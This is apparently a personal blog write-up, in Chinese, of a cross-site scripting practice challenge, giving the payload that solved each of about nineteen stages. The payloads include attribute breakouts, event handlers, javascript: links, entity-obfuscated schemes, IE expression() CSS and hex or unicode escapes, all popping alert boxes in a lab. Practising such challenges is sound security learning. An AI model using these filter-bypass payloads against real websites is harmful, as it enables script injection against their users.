0%

xss练习

xss练习

xss-challenge

stage1

观察标签,直接

1
<script>alert(1)</script>

stage2

输入1

1
<input type="text" name="p1" size="50" value="1">

value=1,这里考虑闭合引号加> 然后再script

1
"><script>alert(1)</script>

stage3

这跟我近期玩过的类似,将< >转义了,我也不知道怎么下手,百度后知道可以抓包修改country,然后绕过xss,这里我思路被局限了,然后,我发觉我可以改标签啊,然后修改Japan为

1
</b><script>alert(1)</script>

成功绕过

stage4

Japan也被搞了,hackbar走起,发觉有个隐藏标签

这里注意sid每次不一样,不能重放,那就抓包改包就行

1
p1=11&p2=Japan&p3="><script>alert(document.domain)</script>

闭合标签然后弹窗就行

stage5

这里只是限制了长度,自行修改标签,或者抓包修改都行,后端没有验证

1
p1="><script>alert(document.domain)</script>

stage6

<过滤了

使用事件绕过

1
" onmouseover="alert(document.domain)"

stage7

过滤了尖括号跟引号,居然空格会被跳过处理原理未知

1
1 onmouseover=alert(1)

stage8

href可以使用协议绕过

1
javascript:alert(document.domain)

stage9

手都没有ie浏览器,直接修改html绕过把。。

stage10

过滤了domain

果真是相通的,sql注入绕过的方法也可以适用于这里

1
"><script>alert(document.ddomainomain)</script>

stage11

1
2
<script 替换了,on事件也替换了,用伪协议居然行,不过得加上一些特殊字符
"><a href="javascr&#09;ipt:alert(document.domain);">1</a>

这里这样行,可我换成script就不行了,不知道为啥

1
制表位&#x0009;、换行&#x000A;和回车&#x000D; 这三个放进去是有效果的,但是空格的&nbsp;  还有&#x0020;虽说能解码成空格,但是打开链接就是404了

stage12

1
hint: "s/[\x00-\x20\<\>\"\']//g;"

正则把不可见字符都过滤了,还有尖括号等,不知道咋绕过。据说ie有`当双引号特性

1
`` onmouseover=alert(1)

stage13

又是要ie

1
aa:expression(onmouseover=function(){alert(document.domain)})

不过expression这个我还是第一次知道

stage14

还是ie

1
here:expre/**/ssion(onmouseover=function(){alert(document.domain)})

注释符绕过

还有几种绕过过滤的方法:加\,加\0,将e转码为\0056

stage15

1
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

后面都是我没学过的姿势了,学一下就好,16进制编码绕过,hackbar走起

unicode也可以

1
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

stage16

过滤了16进制编码,那就用unicode,是可以的

1
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

stage17,18

一个类似于宽字节注入,吃掉双引号,

stage19

ie8可以搞

自行尝试了

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/8cadec29/
版权声明:转载请注明出处!